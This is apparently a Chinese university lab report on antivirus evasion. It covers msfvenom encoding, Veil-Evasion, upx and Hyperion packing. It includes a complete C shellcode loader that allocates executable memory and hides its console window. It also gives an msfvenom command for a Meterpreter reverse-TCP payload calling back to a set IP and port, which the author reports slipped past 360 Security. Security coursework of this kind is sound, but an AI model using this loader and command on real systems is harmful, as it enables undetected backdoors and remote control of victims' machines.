ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

免杀原理与实践

2020-04-02 10:05:48  阅读:256  来源: 互联网

标签:免杀 恶意代码 实践 加壳 检测 原理 如图 shellcode


一、实验原理

1.恶意软件的检测机制

基于特征码的检测:

特征码即一段或多段数据,包含这样数据的可执行文件或其他库、脚本被认为是恶意代码。

基于启发式恶意软件检测:

根据片面特征推断,通用的、多特征、非精确的扫描。

基于行为的恶意软件检测:

启发式的一种,加入了行为监控。

2.免杀技术

  • 改变特征码
    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

二、实验内容

(一)正确使用msf编码器

1.使用msf编码器生成exe文件

使用实验二中的后门程序20174301_backdoor.exe,在VirusTotal网站扫描。

 可见被杀软检测到的概率很大。

2.使用msf编码器对后门程序编码

一次编码,结果如图:

在网站上检测结果如图:

 十次编码,结果如图:

 

 在网站上检测结果如图:

 

 由上可见,使用msf多次编码对提升免杀效果没什么用。

(二)使用msfvenom生成如jar之类的其他文件

1.jar文件

使用命令生成jar文件,如图:

 在网站上检测结果如图:

 2.php文件

生成过程如图:

 在网站上检测结果如图:

 出人意料的少(流汗

(三)使用veil生成后门程序

安装veil过程漫长,出现Unable to fetch some archives, maybe run apt-get update or try with --fix-missing的错误,请参见:https://blog.csdn.net/vslyu/article/details/82959552

虽然慢,但建议不要更新国内的源,可能出现更多错误,出现问题根据错误提示来调整吧。安装成功界面如下:

 输入veil,出现一下界面:

 输入ues evasion,进入veil-evasion

 输入 use c/meterpreter/rev_tcp进入配置界面

 设置反弹连接,设置文件名为veil_c_4301,其中LHOST为kali的IP,意为后门程序需要反弹连接的IP地址,如图:

 

 在网站上检测后门程序,其中,后门文件存放位置见上图,检测结果如图:

 (四)使用C+shellcode编程

利用msf生成一段shellcode,创建一个.c文件,用vi命令编辑文件,加入shellcode和一段主函数,主函数如下:

int main()
{ 
int (*func)() = (int(*)())buf;
func();
}

生成shellcode如下:

 将.c文件编译成可执行文件,如图:

 在网站检测结果如图:

 使用nc命令将文件传送到windows上,被360查杀:

 (五)加壳工具

1.压缩壳

使用upx命令将刚刚的可执行文件加壳,前面是加壳前文件,后面是加壳后文件,如图:

在网站上检测结果如图:

2.加密壳

使用Hyperion加密后门文件,其中安装Hyperion的过程参考其他同学给出的链接:https://blog.csdn.net/weixin_36711901/article/details/103217022

其中,要注意的是:

①可以使用 find -name 文件名 来查找Hyperion-2.2文件夹及Crpter文件夹、makefile文件,修改makefile文件是使用vi命令修改的;

②要加壳的文件要放进Hyperion-2.2文件夹里。

然后使用如下命令加壳即可。


 (六)使用其他课堂未介绍的方法

1.使用veil-evasion的其他载荷生成后门

进入veil evasion后,输入list查看载荷,选择第29个载荷,并不是每一个载荷都可用,界面如图:

 

如上图,set username以设置用户名,选择MSFVenom,选择组件/平台/连接方式,反弹连接IP和端口号,还可以自定义一些参数。

其中,后门文件名称是xn_zh_4301.rc。

在网站上检测结果如图:

2.shellcode+c++msf多次编码+加壳+申请动态内存加载(用另一台电脑实测,可以实现免杀并回连)

电脑系统:WIndows10专业版

AV:360安全卫士12

申请动态加载内存的代码如下:

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口

unsigned char buf[] = 
"shellcode";


main()

{
    char *Memory; 

    Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Memory, buf, sizeof(buf));

    ((void(*)())Memory)();

}

使用 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f c -o shell.c 生成一段shellcode,然后把前面buf[]的值换成这段shellcode,生成的.c文件我用codeblocks编译成exe文件,再加壳,可实现免杀及回连成功。

 

 

(七)通过组合应用各种技术实现恶意代码免杀

见(六)的第2条。

(八)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

见(六)的第2条。

三、基础问题回答

  1.杀软是如何检测出恶意代码的?

   杀软可以通过特征码、行为特征检测出恶意代码。AV软件厂商搜集恶意代码的特征码库,与软件进行匹配,检测数据包的特征码,防止网络攻击;根据软件的特征与恶意软件特征的相符程度,监控软件行为,以查杀网络攻击。

  2.免杀是做什么?

   免杀就是通过encode编码、加壳、veil、shellcode编程等方式改变恶意代码的特征码,或通过反弹连接、加密通信、隧道技术等方法隐匿恶意代码的行为方式,或一些非常规方法使得安插的后门难以被AV软件发现。

  3.免杀的基本方法有哪些?

(1)改变特征码

EXE文件可以加壳、用encode进行编码;shellcode可以基于payload重新编译生成可执行文件;有源代码可以用其他语言进行重写再编译。

(2)改变行为方式

尽量使用反弹式连接、隧道技术、加密通讯数据等。

四、实践总结与体会

1.实验体会

此次实验模拟了生成后门软件实现免杀的过程,可以看出网络攻击是防不胜防的,应该加强网络安全防范意识。

2.开启杀软能绝对防止电脑中恶意代码吗?

不能,就比如纯手工打造的恶意代码,很难被杀毒软件检测出来。

标签:免杀,恶意代码,实践,加壳,检测,原理,如图,shellcode
来源: https://www.cnblogs.com/4301xn/p/12588548.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有